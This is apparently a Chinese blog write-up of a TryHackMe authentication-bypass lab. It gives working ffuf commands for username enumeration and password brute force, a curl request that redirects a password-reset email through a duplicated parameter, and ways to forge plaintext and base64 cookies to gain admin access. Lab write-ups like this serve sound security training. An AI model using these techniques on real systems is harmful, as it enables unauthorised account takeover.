【TryHackMe】JPT-Authentication Bypass 绕过身份验证

26 阅读4分钟

【权限绕过】身份验证方法被绕过、破解或破坏的各种途径,这些漏洞可能非常严重,因为它们往往会导致客户个人数据泄露。

用户名枚举

【功能】如果您尝试输入用户名 admin 并用虚假信息填写其他表单字段,您会看到错误提示“此用户名已存在”  。我们可以利用此错误信息,通过以下 ffuf 工具生成系统中已注册的有效用户名列表。

【实践】ffuf 工具使用常用用户名列表进行比对,查找匹配项。命令如下:

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"
  • -w 参数选择计算机上包含待检查用户名列表的文件位置。
  • -X 参数指定请求方法,默认情况下是 GET 请求,但在我们的示例中是 POST 请求。
  • -d 参数指定要发送的数据。在我们的示例中,我们有 usernameemailpasswordcpassword 字段。我们将 username 的值设置为  FUZZ  。在 ffuf 工具中,FUZZ 关键字表示将字典中的内容插入到请求中的哪个位置。
  • -H 参数用于向请求添加额外的标头。在本例中,我们设置了  Content-Type ,以便 Web 服务器知道我们正在发送表单数据。
  • -u 参数指定要发送请求的 URL,最后, 
  • -mr 参数指定页面上用于验证是否找到有效用户名的文本。

查找出有效用户名: image.png

暴力破解

【功能】暴力破解攻击是一种自动化过程,它会尝试使用一系列常用密码来破解单个用户名,或者像我们这里的情况一样,尝试破解一系列用户名。

【实践】

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

使用 FUZZ 关键字来选择将字典中的数据插入请求的位置,但由于我们使用了多个字典,因此必须指定自己的 FUZZ 关键字。

  • 我们选择 W1 作为有效用户名列表, W2 作为要尝试的密码列表。多个字典仍然使用 -w 参数指定。
  • 为了确认匹配成功,我们使用 -fc 参数来检查 HTTP 状态码是否为 200 以外的值。

暴力破解出了有效的用户名steve,以及密码thunder image.png

逻辑缺陷

请求向目的邮箱发送邮件,用户名通过 POST 字段提交到 Web 服务器,电子邮件地址作为 参数字段在查询字符串请求中发送

curl 'http://MACHINE_IP/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'

PHP中,如果查询字符串和 POST 数据使用相同的键名,则该变量的应用程序逻辑会优先使用 POST 数据字段而不是查询字符串。因此,我们可以向 POST 表单添加另一个参数'email= {username} @customer.acmeitsupport.thm',就可以控制密码重置电子邮件的发送位置。

curl 'http://MACHINE_IP/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email= {username} @customer.acmeitsupport.thm'

Cookie篡改

【纯文本Cookie】

某些 cookie 的内容可能是纯文本,如果以下 cookie 是在成功登录后设置的:

Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/

看到两个 cookie:一个是 logged_in,它似乎用于控制用户当前是否已登录;另一个是 admin,它用于控制访问者是否拥有管理员权限。根据这个逻辑,如果我们修改 cookie 的内容并发出请求,就能更改我们的权限。

🎯通过-H参数设置命令行中的Cookie,从而以管理员身份登录

curl -H "Cookie: logged_in=true; admin=true" http://MACHINE_IP/cookie-test

【Hash Cookie】

  • 有时,Cookie 值看起来像一长串随机字符;这些被称为哈希值,它是原始文本的不可逆表示。
  • 尽管哈希过程不可逆,但每次都会生成相同的输出,这对我们来说很有帮助,因为像 crackstation.net/ 这样的服务维护着包含数十亿个哈希值及其原始字符串的数据库。

【EnCoding Cookie】

  • 编码与哈希类似,它们都会生成看似随机的文本字符串,但编码是可逆的。
  • 编码的意义在于将二进制数据转换为人类可读的文本,从而可以轻松安全地通过仅支持纯文本 ASCII 字符的介质进行传输。
  • 常见编码类型有 base32(将二进制数据转换为字符 A-Z 和 2-7)和 base64(使用字符 az、AZ、0-9、+、/ 和等号进行填充)。

比如 eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ 解码可以得到{"id":1,"admin": false},因此我们可以尝试{"id":1,"admin": ture}编码后放入Cookie。